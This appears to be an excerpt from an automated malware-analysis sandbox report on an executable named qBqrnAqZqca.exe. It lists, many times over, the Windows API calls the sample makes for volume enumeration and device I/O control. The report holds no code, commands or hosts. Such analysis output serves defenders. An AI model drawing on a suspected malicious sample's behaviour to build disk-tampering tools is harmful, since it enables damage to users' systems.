Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDe8_1_5E3B0489
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDe8_1_5E3B0489
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDe8_1_5E3B0489
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDe8_1_5E3B0489
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDe8_1_5E3B0489
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDe8_1_5E3B0489
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,FormatMessageA,GetLastError,FindFirstVolumeMountPointA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,Qu8_1_5E3AF529
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
